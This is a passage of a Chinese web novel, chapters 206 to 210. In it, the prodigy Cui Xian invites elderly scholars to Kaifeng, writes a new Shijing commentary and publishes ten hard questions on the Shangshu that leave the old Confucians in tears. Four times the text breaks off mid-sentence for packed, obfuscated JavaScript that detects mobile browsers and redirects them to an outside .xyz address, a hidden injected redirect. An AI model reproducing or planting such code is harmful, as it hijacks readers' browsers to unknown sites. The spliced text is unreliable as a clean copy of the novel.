那整个开封府的百姓们接下来都要陷入一场狂欢了。 崔家几个女人互相对视都看懂了彼此眼睛里的昂扬斗志! 老崔氏则是还有一个比较纠结的问题:“岘哥儿你先前在辩经台上说过每三日辩一场。” “如今你突然要暂停辩经一个半月是何意?” 崔岘闻言表情有些促狭:“当然是给那群老儒们时间好让他们从全大梁各处赶来啊。” “到时候 “辩经台是咱们自己搭的除了辩经还可以用来打广告!要打广告肯定动静越大效果越好。” “一个半月后咱们家的邸报要在全河南开始发力!刊登招收三千工人出售数千斤糖霜雇佣三十艘船只去闽南采购甘蔗的消息。” “不过只是打广告的话好像噱头不够大?毕竟咱们主要核心目的还得是辩经。” 听到这话崔家人神情古怪。 这噱头还不大啊? 你是要把开封‘搅弄’到天翻地覆吗? 崔岘摸起下巴沉思片刻眼睛亮起来:“祖母咱们去雇佣一个镖局车队吧……” 其实崔家是有镖局的。 只是目前镖局的工人们带着汴梁邸报已经赶往大梁各处了。 老崔氏闻言疑惑问道:“雇佣镖局?” 崔岘眨眨眼说了几句话。 崔家人听的瞠目结舌—— 你说的搞噱头未免也太嚣张了吧! 当崔岘带着一家人在兢兢业业提炼白糖的时候。 开封府。 整个文人群体 已经因为崔岘而吵翻了天。 毕竟二十经皆有漏的说辞,实在太惊世骇俗了! 因此,开封府学辩经台上,放满了各种挑战信。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088497|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>崔岘经贼,同我辩上一场吧! 好不容易等到第三日,很多老儒撸起袖子来观战。 结果却得知,崔岘不来了! 还要停辩一个半月! 简直岂有此理! 正当众人怒骂“崔岘怯战服输”的时候。 崔岘的新晋贴身保镖大山,带着一群镖局的马车,赶到了辩经台。 在一片哗然震惊中。 大山梗着脖子大声道:“我们小东家,崔岘先生说了,停辩一个半月,并非怯场。” “而是,他知道,现在有许多大儒,正在赶来开封的路上。” “为避免胜之不武,他决定,等这些人一个半月!” “当然,这一个半月里,你们要是想请哪位名儒出山,我们这些押镖的人,免费去帮你们请!” “届时,只要通过我们家崔岘先生的初步考验,便能获得登台辩经资格。” “崔岘先生一人守台。” “而那些从大梁四面八方赶来的名儒们,不限人数,皆可登台一同辩论!” “唯一的条件是,辩《尚书》。” 哗! 听闻这番话,在场的老儒们气的脸色扭曲。 而一些年轻的学子们,也是激动的脸色发红。 一人叫板天下名儒? 太帅了! 不出意外,这个消息,火速震撼了整座开封城。 更令人震撼的是。 崔家雇佣来的镖局,甚至主动出击,询问有哪些名儒准备来开封‘教训’崔岘,他们亲自去请人! 而那些气势汹汹赶来开封的名儒们,在半路上,遇到有人来接应,还觉得自己名气大,天下皆知呢。 结果来接应的人说道:“敢问老先生可是要去开封教训崔岘的?我们奉崔岘之命,前来接你们过去。” 听到这话的老儒们:??? 有了镖局接应,大量文坛名儒们,一车一车被拉去开封。 外界正闹翻天的时候。 崔岘则是在书房里,写下了十问《尚书》,以及,注释科举官方教材第一本——《诗经》。 没错,他要给这些古板迂腐的老儒们,狠狠上一课了! 207、十问《尚书》,注释《诗经》!(中) 207、十问《尚书》,注释《诗经》!(中) 清晨的阳光透过雕花窗棂斜斜地洒进书房,在青砖地面投下细碎的光斑。 书案上。 一方端砚里新磨的墨汁乌黑发亮,笔架上悬着的几支狼毫笔尖还沾着未干的水渍。 身穿青色素衫的崔岘,袖口微卷,正端坐于案前,细细安静思索。 如今,整个开封府城都因他‘免费接老头登台辩论’之猖狂举动,闹得沸沸扬扬。 想来过不了多久,全大梁都会陆续收到消息。 一个半月后的开封,必将会成为文坛风暴的中心! 而作为亲手掀起这场风暴的人,崔岘要做的,自然是彻底沉下心来,整理《尚书》错漏论辩,以及注释《诗经》,取代《毛诗序》! 斧正《尚书》相对来说比较容易。 作为一个现代人,崔岘拥有着超前的思想学识,也学习过史学家们论证出的各种关于《尚书》的纰漏。 难的是注释《诗经》。 作为五经之首,最早的诗歌总集,《诗经》汇集了西周初年至春秋中期,长达五百多年间的诗歌精华,共计三百零五篇。 这些诗歌内容广泛,涵盖**、经济、伦理、天文、地理等各个领域。 换言之,《诗经》,是一切学识的基石。 拿到这个注释权,就是成圣的第一步! 可正是这样,崔岘反而要越发小心对待。 因为只要它这部注释书问世,必将重塑《诗经》阐释史,终结汉学垄断,成为新的启蒙文学教科书! 直接影响后世数百年、乃至上千年的诗教体系! 因此,在书房里**许久的崔岘,一直盯着桌案沉思,迟迟不曾落笔。 书房外,院子里。 老崔氏又购买了两千斤黑砂糖,正在指挥全家人,一起提炼白糖。 虽然他们刻意压低了声音。 但崔岘还能隐约听见,一家子人小声振奋不停重复‘这跟抢钱有什么区别’。 一个上午悄然过去。 崔岘仍旧一字未动。 下午。 贴身保镖大山,带来了十几个身材壮硕的好汉兄弟,来到了崔家。 崔岘听到动静笑着走出去。 大山赶紧道:“小东家按照您的要求找来的。我这帮兄弟个个都是好把式!” 别说一帮壮汉排排站看着确实安全感满满。 “好大山以后你来做头领带着手底下的兄弟们做事。” 崔岘豪爽笑道:“当然跟了我绝对不会亏待兄弟们。” 一帮壮汉们闻言嘿嘿直笑。 其中一个壮汉大声感激道:“小东家为**方豪爽兄弟们都知道!今日大山哥带着小东家给的十两银子分给了咱兄弟们。” “以后咱们跟着大山哥誓死保护小东家!” 这话引来其余壮汉们纷纷附和:“誓死保护小东家!” 崔岘闻言惊讶看了一眼大山。 他先前确实给了大山十两银子作为奖励。 结果大山竟没有独自收下而是用这十两银子招来了一群‘保镖’。 瞧见崔岘看过来大山朝他露出一个憨厚的笑容。 可以是个人才啊! “行兄弟们仗义我便不多说客套话。” 崔岘笑道:“晚上大山带着兄弟们去醉仙楼敞开肚皮吃桌席面!吃好喝好以后明日正式上岗!” 醉仙楼! 开封府有名的大酒楼一桌席面得五两银子起步! 小东家果然敞亮又豪爽! 一帮壮汉们激动不已。 大山没有推辞并迅速进入‘保镖队长’角色:“多谢小东家但大山我把丑话说在前头去了醉仙楼可以敞开肚皮吃但绝对不能喝酒误事!” “别忘了咱们是来保护小东家安全的!” 其余壮汉们赶紧点头。 这样好的东家打着灯笼都找不到第二家了! 他们当然要尽职尽责! 远处老崔氏笑眯眯看着岘哥儿跟大山等人交谈一句话不曾多说。 这以后就是岘哥儿的安保班底自然是岘哥儿说了算呢。 于是 裴坚四人、严思远、苏祈等人再次来崔家便瞧见了门外一群巡逻的‘保镖’。 大山第一个发现这群人满 脸凶悍大步上前询问道:“你们找谁? 接着,十几个大汉先后围过来,一个个眼睛瞪得像铜铃。 由于吊儿郎当的裴坚看着不像什么好人,差点被大山给抓了。 还是老崔氏听到动静及时出来,才结束了这场乌龙。 裴坚咋舌:“祖母,你们这阵仗,是不是有点太夸张了! 老崔氏笑道:“岘哥儿现在得罪了人,不得不防啊。 说起得罪人。 庄瑾在旁边惊叹道:“祖母,岘弟这阵仗,真是一次比一次闹得大。现在满开封都在议论岘弟的嚣张之举! “他这是准备把全大梁的名儒都给得罪光了啊! 饶是庄瑾等人素来胆大妄为,都被崔岘这一手给震得不轻。 因此,众人赶紧来登门询问,究竟怎么回事儿。 老崔氏如今能提炼白糖,底气足的很,骄傲道:“岘哥儿打小就有主意,你们又不是不知道。 “算了,他这么做,一定有他的道理。 “而且他已经闭关了,为一个半月后的辩论做准备。你们不要担心,他不会有事儿的。 说着。 老崔氏又笑眯眯看着眼前这帮神情担忧的孩子,豪迈道:“不仅不会有事儿,凡是岘哥儿说的话,都能办到。 “且等明年科举吧! 崔岘之前说过,他们这个小团体的近阶段小目标是:明年河南科举禁考《毛诗序》。 严思远等人一致觉得,很难办到。 可看如今老崔氏这架势,仿佛势在必得。 ……不会吧? 岘弟他,又准备憋大招了? 裴坚、庄瑾、严思远、苏祈等人互相对视,虽然仍旧觉得不太可能。 但心脏却没忍住怦怦快速跳动。 万一呢! 那可真是‘继往开来’头一遭了啊! 若是河南禁考《毛诗序》能实现,那是不是代表着,终有一日,崔岘的那个‘梦想’,也能实现呢?! 由于担心打扰到崔岘,裴坚等人没有去崔家书房。 接下来这段时间。 崔岘待在书房里,一待就是一整天,甚至到半夜,还点燃着油灯。 直到某日,夜黑人静,窗外繁星漫天。 迟迟不肯动笔的崔岘,在昏黄的灯光下,提笔蘸墨,一气呵成开始落笔。 他的眉眼,在灯光下格外清亮。 整个人都进入一种忘我的境界,这方天地间,只剩下他‘莎莎莎’写字的声音。 从星光黑夜,到红霞升起。 小书房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088498|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里,年轻的少年郎奋笔疾书,彻底忘掉了时间。 他满脸认真,只专注于眼前的笔墨纸张。 其文字铿锵有力,仿佛穿透时光桎梏,延续影响到数十年,乃至数百年后的将来…… 这一夜,往前五百年、往后五百年,对于大梁文坛来说,都是注定不平凡,且闪耀在历史长河中的璀璨一夜。 可今时今日、此时此刻,又是那么的普通寻常。 似乎和往日没什么区别。 当天色大亮的时候,书房里的少年郎,不知何时已经伏在案上睡着了。 写好的稿纸散落在地上。 嘎吱。 东莱先生推开书房门走进来,捡起地上的稿纸,眯起眼睛细细阅读,便见上面写着书名—— 《诗集传》。 一开始,东莱先生还在心疼一夜未眠的徒弟。 可到后来,他双手颤抖着读完稿纸上的内容,整个人脸色发红,激动到难以自持。 等看完以后。 东莱先生甚至来不及兼顾其他,振奋的冲出崔家,一路走到开封城外的岳麓书院,找到季甫先生:“哈哈哈,季甫,你个老东西消息挺灵通。” “你怎么知道,老夫即将要成为圣人的老师啦?” 季甫:? 再说崔家。 东莱先生离开书房后不久。 崔钰起床,注意到书房的油灯还亮着,担忧来查看阿弟的情况。 发觉阿弟睡的正香,崔钰没有喊醒阿弟,而是开始整理阿弟写的稿纸。 一开始他只是下意识瞥了一眼。 而后,稿纸上的内容,仿佛拥有某种不可思议的魔力,让他沉陷其中,无法自拔。 和东莱先生不同的是,崔钰一开始看到上面的文字,整个人脸色苍白,浑身巨震。 那是他多年寒窗苦读,塑造起来的知识基础,正在被暴力拆解、打碎! 有那么一个瞬间,崔钰甚至想要把这些稿纸丢了。 可出于对阿弟的信任,亦或者说被阿弟的文字所吸引,他强行让自己看下去。 崔钰倚靠在窗边。 斑驳的阳光洒落进书房,照映在他那张年轻、惘然、又震撼的脸上。 阿弟写的这些文字,对于他来说,是陌生的、新奇的、却又醍醐灌顶的。 看到最后,崔钰手掌都开始发汗。 他放下稿纸,将手掌在衣服上,使劲、一遍又一遍仔细擦拭。 一如当年。 他去顾夫子的私塾开蒙,第一节课,初次接触到书籍那般。 那天,崔钰明白了什么叫做‘开卷有益’。 而这一次,似乎和他初次步入学堂,没有什么本质的区别。 当年,顾夫子在他们读书之前,问了他们一个问题:为什么读书? 崔钰想的是:为了不牺牲阿弟,为了光耀门楣,为了不做泥巴腿子,为了天下所有泥巴腿子都可以读书,且不必牺牲自家阿弟、阿妹。 随着年纪渐长,崔钰逐渐懂得,自己立下了一个不可能完成的贪婪愿景。 直到此时。 直到此刻。 他看完了阿弟对《诗经》的注解,突然觉得,一切,皆有可能! 若说昨夜,即将成为文坛历史上最璀璨的一夜。 那么今日白天,同样注定是耀眼夺目、千百年后也会被铭记的一天。 因为这小小的崔家啊,不止有一位‘圣人’。 还有一位‘半圣’。 208、十问《尚书》,注释《诗经》!(下) 208、十问《尚书》,注释《诗经》!(下) 书房。 崔钰拿着阿弟写的那沓稿纸,如获至宝激动看完后许久,才从震撼又懵懂的状态里回神。 他颤抖着张了张嘴,想说些什么,可最后脑海里就剩下一句话—— 如此振聋发聩、妙笔生花的文章,竟然没写完?! 接下来呢? 还有呢?! 死手,快写啊! 崔钰猛然转过身,去看阿弟。 不知何时,伏在桌案上睡觉的崔岘已经醒了。 因为熬夜写文章,他面色瞧着有些困倦,连续打了好几个哈欠。 察觉到崔钰的目光,崔岘笑道:“一不留神睡着了,阿兄,你怎么在这里? 崔钰将手中的稿件小心翼翼放回桌案。 而后在崔岘惊愕的注视下,激动把笔递过来:“阿弟,休息好了吧! “这么会写你就多写点,笔不能停!继续写啊! 啊这。 崔岘无言道:“阿兄,我已经写了一整夜了! “而且,三百五十篇诗,全部注释完毕,少说也得几十万字。 “岂是一两日能写完的? 崔钰闻言嘴巴数次嗑动,最后强忍住‘催稿’的冲动,走出书房。 院子里,一家人仍旧在提炼糖霜。 七八天过去。 当时的第一批灰白色糖块完全晾晒干,足足出了七百斤的糖霜! 老崔氏嘴角都快笑烂了。 崔钰深吸一口气走过去,郑重道:“祖母,娘,爹,咱们以后在家,尽量不要发出任何声音,以免打扰到阿弟写文章。 老崔氏闻言说道:“我们已经很小声了。 如此暴利的白糖,还要忍住不笑出声,属实有点为难人咯! 然而。 崔钰却颇为激动道:“那也不行,要更小声!阿弟他现在写的文章,很厉害。厉害到—— 该怎么形容呢? 迎着一家人震撼呆滞的目光。 崔钰坚定道:“厉害到几十年、几百年、甚至上千年以后,读书人们会把崔岘这个名字,和孔子、孟 子放在一起。” 崔家院子霎时间陷入安静。 老崔氏低头看了看那一堆糖霜突然觉得这玩意儿也就那样。 无非就是能多卖点臭钱而已。 她一拍大腿:“从今天开始咱们家所有人都得变成哑巴了!谁要是敢打扰到岘哥儿哼哼……” 最后这个‘哼哼’威胁意味十足。 小崔璎吓得赶紧捂住嘴巴。 崔仲渊、陈氏夫妻俩则是脑瓜子嗡嗡的。 我的儿子是圣人? 老天呐! 真是想想都要笑出猪叫。 崔仲渊深吸一口气强忍住颤抖的心毅然决然回房闷头读书。 儿子太优秀了他这当老子的可不能拖后腿啊! 不管怎么说就算是拼上这条老命他也得考个进士将来好给儿子打辅助! 崔伯山看到弟弟回房读书默默闷头跟上。 陈氏、林氏、老崔氏、崔璇互相对视都看懂了彼此眼中的压力。 岘哥儿步子越迈越大她们可不能掉队了。 这段时间必须要加大力度提炼更多的糖霜! 趁着最开始奇货可居狠狠赚一笔。 等以后糖霜大量流入市场价格肯定会越来越低。 于是从这天起 加上有大山等‘保镖’在外巡逻看守。 不管开封城如今闹出何等大的阵仗处于**漩涡中心的崔岘暂时从公众视野消失。 除了东莱先生每天巴巴来崔家书房看徒弟写的《诗集传》手稿。 他越看越震撼越看越着迷。 身为当代文坛领袖东莱先生太懂这本《诗集传》的含金量了。 它堪称划时代的文学瑰宝是能够取代汉儒经学权威取代《毛诗序》的、开创性革新著作! 读到最后。 东莱先生如看怪物般看着自己的小徒弟喃喃道:“这本书一旦问世得在大梁引发何等的腥风血雨啊!” 旁边。 崔钰涨红着脸道:“不管引发什么腥风血雨都要问世!而且要成百上千份的印刷!《诗集传》不全力推广 ,将是整个大梁文坛的损失! 东莱先生赞同点头。 而后,他和崔钰一起,齐刷刷看向崔岘,意思很明显—— 写!赶紧写! 笔不能停! 被二人盯着现场催稿的崔岘无语凝噎,只得闷头狂写。 写稿的日子,总是过的很快。 时间从七月,来到八月初。 崔家库房里的糖霜,多的都快堆积不下了。 两封自京城而来的信件,一前一后送到崔家。 其中一封是皇帝的。 崔岘盯着那句‘鸩酒苦?鱼肠利?或悬梁素绢雅?’看了片刻,嘴角露出一抹笑意。 看来皇帝这一关,暂时过了。 当然这三个选项,崔岘一个都不会选。 他准备晾皇帝一段时间,而后把‘糖霜产业’程送上去作为礼物。 先哄人,再送礼,就算是皇帝也顶不住啊! 另一封信,是师祖郑霞生送来的。 崔岘看完后,神情微凝。 陈秉准备出手了。 东南豪强,多半也要下杀招。 好在,萧震那边秘密调遣了一批暗卫,同样在来开封的路上。 新任河南布政使岑弘昌,马上要来开封赴任。 还有叶怀峰,也将被调遣来开封。 戏台子已经搭建好,各方人物逐一登场,很难想象,接下来的开封,得乱到何等地步! 嗯……或许等不到接下来,如今的开封,它已经乱起来了! 因为,大量的老头们,先后被接进了开封城! 和老头们一起来的,还有自全大梁各处,来开封观看崔岘辩经盛事的文人墨客们! 毫不夸张的说,这段时间的开封,路上摩肩接踵,放眼望去全都是穿儒衫的读书人。 只是,这些年轻的读书人们,沦为了‘配角’。 主角,是‘老头儿’们! 他们三五成群,在街头巷尾汇聚,义愤填膺商讨,该如何打败‘经贼崔岘’。 直到八月初,一辆牛车,晃晃悠悠进了开封城。 全开封的老头们都激动到热泪盈眶。 “桓35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088499|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 应先生!是桓应先生到了!” “经贼崔岘,妄言二十经皆有漏,蔑《诗序》如刍狗!桓应先生,请一定为我等,教训那崔岘啊!” “当年,桓应先生还指点过东莱的学业!崔岘或许有些实力,可在桓应先生面前,绝对是荧光对皓月!” 接下来小半月,又有两位泰山级别的名儒—— 荀彰先生、班临先生,先后在无数老头们的欢呼声中,来到开封。 而以上这三位先生,都直接表示,会登台教训那崔岘! 崔岘,绝对要完蛋了! 经过这帮老头们的刻意造势,辩经还没开始,‘崔岘必输无疑’似乎已经成了既定结局。 满开封大街小巷,都在唱衰崔岘。 可把裴坚、严思远、苏祈等人给气坏了。 眼看着距离辩经的日子越来越近,他们终究是没忍住,再次结伴来到崔家。 严思远怒气冲冲道:“那群老酸儒,不仅迂腐,而且极为猖狂嚣张!仗着那几位老先生的名气,四处诋毁你!” “外面都说,你此次必输无疑!” “这你还能忍?” 裴坚、苏祈一帮人,同样都义愤填膺看向崔岘。 但,崔岘笑眯眯坐在那里。 东莱先生、崔钰同样一副云淡风轻的模样。 这一幕,看得原本生气的裴坚狐疑眯起眼睛:“不对劲!岘弟,你不会已经在憋什么大招了吧!” 憋大招? 众人闻言一个激灵,都眼含期待看过来。 崔岘想了想,笑道:“大招确实有,但暂时还不能提前拿出来,还不是时候。这样,先出个小招吧。” 啊这。 外面如今形势严峻,只出个小招,能行吗? 严思远心里泛起嘀咕。 便见崔岘说完后,站起来取出笔墨,一边写一边说道:“当时我说过,想要登台同我辩《尚书》,得通过我的初步考验。” “如今时间快到了,也是时候,先把考题公布出去了。” “我这个考题的名字,叫做——十问《尚书》!明日一早,我会让祖母将其刊登在《汴梁邸报》上。” “能答出十问者,便能获得登台同我辩论的资格!” 好家伙! 这跟直接对整个大梁名儒下战书有什么区别?! 比‘满世界接老头’更狠啊。 而且还是明知桓应先生、荀彰先生、班临先生三位旷世名儒,都赶来开封的前提下! 我长这么大,没见过这么嚣张的! 严思远、苏祈、裴坚等一群人,既激动,又忐忑。呼啦啦全围过来,看崔岘写的内容。 连东莱先生、崔钰也都凑过来看热闹。 知道崔岘‘大招’的他俩,对这个‘小招’报以矜持姿态。 然而,片刻后。 整个屋子里响起一片倒抽冷气的声音。 严思远呆滞磕巴道:“……不是,你管这叫小招?我请问呢?” 本来还矜持着、云淡风轻的东莱先生,眼角疯狂跳动:“乖徒弟,你这是打算要了外面那群老头们的命啊!” 连向来胆大的裴坚,都咽了口唾沫:“完了,过了明天,全开封都是疯老头了!” 209、一份邸报**全城老头儿 209、一份邸报**全城老头儿 在严思远、裴坚等人振奋、呆滞的注视下。 崔岘把那份‘十问《尚书》考题’交给老崔氏笑道:“祖母接下来还得辛苦你了。” 老崔氏摆摆手 崔岘瞬间便领悟了祖母的深意眨眨眼:“只要他们想登台辩经教训我肯定会买。” 老崔氏等的就是这句话! 那群老酸儒坏滴很最近没少在外面败坏岘哥儿名声。 既然这样那就别怪我狠狠宰你们一把了! 老崔氏阴涔涔道:“既然这样那明日的邸报咱们刷两个版本。” “一版是普通版内容正常印刷价格保持不变。” “另一版是考题版在邸报上留出答题空隙价格翻倍!想要登台辩论就必须买这一版!” “骂了我家乖孙这么久也该收你们这些老酸儒一点利息了。” “等明日他们花高价买一份邸报考题结果发现自己一道题都答不上来。哎呦那可真是笑**咯!” 听到老崔氏这话全场为之咋舌。 **诛心**诛心啊! 裴坚竖起大拇指:“祖母无奸不商啊您这是厉害厉害!” 老崔氏满脸得意。 当日崔家印刷坊的伙计们开始闷头疯狂印刷邸报。 与此同时。 开封府学外那座停用一个多月的辩经台终于有了新动静! 崔岘对外张贴了最新公告! “明日我将在《汴梁邸报》上刊登一份考题作为对诸位的初步考验!凡是能答出考题者皆可登台辩论!” “后学崔岘恭候诸位!” 这份公告看似措辞相当恭谨并谦逊自称‘后学’。 可实际上那是一点都不带客气的! 简单翻译就是:答出问题才配登台见我答不上来就滚蛋! 岂有此理! 竖子猖狂! 消失一个多月的崔岘一经露面便轻松‘引爆’开封文人圈层。 震得无数读书人瞠目结舌。 不出意外,全开封的老儒们,纷纷被气到跳脚怒骂。 “区区考题,能有何难? “老夫研究《尚书》大半辈子,甚至可以倒背如流,岂会怕他那些班门弄斧的题目? “等明日,千百人答题成功登台。咱们一人一句,都能辩到那崔岘小儿哑口无言哈哈哈。 崔岘最近闭关。 这群老儒们气焰嚣张,经常散播‘经贼崔岘必输无疑’的消息。 一开始老哥们只是骗骗别人。 后来竟把自己也给骗了。 天晴了,雨停了,他们觉得自己又行了。 这一夜,全开封都在某种兴奋的躁动状态。 茶楼、酒肆、书院,到处都有读书人在议论,崔岘究竟会出什么考题。 很多老头甚至激动到睡不着,连夜蹲守《汴梁邸报》发布。 在无数人翘首以盼中,漫长的夜,终于过去。 当第一缕晨光在天边浮现。 寂静的开封城,‘活’了过来! 十几辆装载着邸报的马车,以崔氏印刷坊为中心,朝着开封四面八方驶去! “卖邸报咯!新鲜出炉的《汴梁邸报》!大才子崔岘十问《尚书》,震惊万千读书人一百年,不看不是大梁人! 啥玩意儿? 许多开封百姓睡眼惺忪起床,听到这叫卖声,尚且还在犯迷糊。 但许多穿儒衫的老头儿们,已经迫不及待围了上去。 接着,是他们愤怒的质问:“为何一样的内容,考题版要贵一倍?奸商,奸商啊! 卖邸报的崔家伙计比他更愤怒:“答不上来就说答不上来,扯这些有的没的!你不敢买,有的是人敢买! 好家伙。 就这么一句话,惹得无数老头咬牙掏荷包—— 买! 我答不上来?笑话! 老夫读《尚书》的时候,他崔岘还没生出来呢! 一位挤在最前面的老儒,愤愤付了双倍的价格,买到一份《汴梁邸报》,而后迫不及待瞪大眼睛翻阅。 这份邸报的头条标题非常醒目简单——后学崔岘,十问《尚书》! 第一问: 孔壁古文《泰誓》亡于秦火,汉初河内女子献伪《泰誓》,其言‘白鱼入舟’、‘火流王屋’乃谶纬妖言。 马融已斥其伪:《泰誓》后得,案其文似若浅露……《春秋》引《泰誓》曰‘民之所欲,天必从之’,《国语》引《泰誓》曰‘朕梦协朕卜,袭于休祥’,今文皆无此语! 《泰誓》真伪之疑,何解? 那老儒抱着不屑的态度,看完第一问之后,脸色骤然苍白。 ……他质疑的好像很有道理。 而且一时间竟然完全不知道该怎么反驳! 根本答不上来! 不不不! 妖言惑众罢了! 家人们,警惕经贼! 要不先看看第二题呢? 第二问: 今本《舜典》开篇‘曰若稽古帝舜…’28字实为《尧典》篇末文字! 姚方兴本强分二篇,陆德明《经典释文》明言:‘齐建武中姚方兴分《尧典》为二篇,加‘慎徽五典’以下为《舜典》,学者知是伪窜。 《舜典》割裂痕迹,何解? 轰! 老儒看完第二问,脑瓜子被震的嗡嗡作响,整个人直接宕机。 他哆嗦着攥紧手中那份《汴梁邸报》,甚至连接下来的题目都没有勇气看完。 但,他没有勇气看,有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088500|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的是人在看。 不仅在看,那群老头们,还声嘶力竭、咬牙切齿的大声读出来。 第三问: 《武成》篇‘惟一月壬辰旁死魄’叙武王伐纣日程,刘歆《三统历》推算与实际天象矛盾:‘周师渡孟津在殷历十一月,非《武成》所记正月,日月干支无一可合’。 《武成》历日错乱,何解? 就是说啊,何解! 那位读完题目的老头,振奋看向四周的老伙计们:“诸位,何解!快作答啊,好去登台教训那不知天高地厚的经贼崔岘! 无人应声。 先前群情激愤,嚣张至极的老头们,脸色或苍白、或涨红。 一个个羞愧低头,安静如鸡。 那老头懂了,他看了看周围人,又看了看手中的邸报,苍老的声音中带着哭腔:“双倍价钱 买的考题版邸报,结果一道题都答不上来?” “一道题都答不上来哈哈哈哈!” “老夫《尚书》倒背如流,倒背如流啊!老夫背了整整三十年的《尚书》啊!” 说到这里。 他愤怒的将手中的《汴梁邸报》撕碎,嚎啕大哭。 周围一群老头们哀伤的看着他,只觉得心脏都在哆嗦。 随着时间推移。 今日份《汴梁邸报》在开封文人群体中迅速传开。 而无数老头崩溃的场景,也在城内各处纷纷上演。 长街上。 四周围人潮熙攘。 一个老儒站在其中,拿着《汴梁邸报》,哀求般看向周围人:“真的无法驳斥吗?不可能,绝对不可能!” 他的哀求,换来的唯有沉默。 无形中,崔岘那张年轻肆意的脸,浮现在全开封每一个老头的面前。 他笑意盈盈,一张口,就是令无数老头们颤抖发麻的诘问! 第四问: 梁州‘黑水’、雍州‘昆仑’皆虚指神话地名,杜预《春秋释例》直指:‘黑水荒远,禹迹不至;昆仑在《山海经》为神山,岂可实定于雍州? 《禹贡》地理错置,何解? 何解! 究竟何解啊! 一股巨大的恐慌,在全开封老头群体当中蔓延。 崔岘不曾露面,仅用一份邸报,便做到了轻松**全城老儒! 但,这还不是最致命的! 最致命的是—— 我们的《尚书》好像要完蛋了! 因为将近一天时间过去,辩经台上,一份‘考题答案’都不曾递交上去。 而这一天,八月初七,也是大梁古文经学派公认的,最绝望的一天。 一个年仅14岁的少年郎,对延续千百年的圣贤经书,发起最猛烈的质疑与诘问! 革新之火,准备燎原。 210、拳打文坛敬老院(一) 210、拳打文坛敬老院(一) “呜呼!时无英雄,使竖子成名! “再去看看,那辩经台上,当真无一人递交答卷?! “第四题……答不上来……第七题,也答不上来,怎么会这样,怎么会这样啊! “快,快去岳麓书院请桓应先生! 《十问尚书》发布之前:老儒们气焰嚣张,扬言经贼崔岘必输无疑。 《十问尚书》发布之后:听,是一片道心破碎的哭嚎声! 这一日。 到处都有老头当街崩溃大哭,甚至成为开封一桩奇闻。 尤其是,开封府学外,七尺辩经台旁。 一大片老儒们哭的肝肠寸断。 甚至还有老头哭到伤心欲绝,在无数人惊呼中,白眼一翻,直接晕厥过去的! 搞得许多凑热闹的百姓们十分震撼:娘嘞,小神童这究竟是出了什么题目啊? 竟直接难哭成百上千老儒! 实在骇人听闻。 但其实,老儒们哭的哪里是难题。 他们哭的是经权神圣被挑衅质疑。 他们哭的是自己庸庸碌碌的一生啊! 百姓们不懂,把此事当做笑料。 可读书人们捧着那份《十问尚书》的邸报,浑身颤抖,根本笑不出来。 他们读过圣贤书,正因为读过,所以才对崔岘报以十二万分的佩服,乃至敬畏! 因为这十个问题,他们一个都答不上来。 不仅答不上来。 很多读书人盯着那十个问题,心中有一个声音在咆哮:我们学习的圣贤书,难道就一定是对的吗? 若一定是对的,那为何崔岘师兄这十个问题,能难倒无数老儒。 若圣贤书有错…… 若《尚书》是伪书…… 不敢想,根本不敢想! 所以,不仅全开封的老儒们,因崔岘而陷入崩溃。 大量年轻的学子们,同样惊恐又惘然。 八月艳阳,头顶天空湛蓝。 但开封城里的学子们却不安的察觉到—— 这天,怕是要变了! 至 于要怎么变,此时没有人能预料,也没有人敢指摘。 且看,接下来崔岘师兄那场辩论,是输是赢吧! 无论输赢。 崔岘师兄凭借这《尚书》十问,就足以在文坛青史留名了! 和崩溃愤怒的老儒们不同。 年轻的学子们虽说惘然不安,可私底下聊起崔岘,眼睛里都尽是狂热。 本人还未出面,仅凭十个问题,便能**全城老儒。 就问还有谁?! 没谁了! 崔岘师兄,我辈读书人之楷模也! 开封。 岳麓书院。 作为河南、乃至大梁最为优秀、最具底蕴的古老书院之一。 当十问《尚书》在开封城内引发恐慌。 当经学神圣不可侵犯的信条被狠狠践踏。 当无数读书人因此道心不稳陷入惘然。 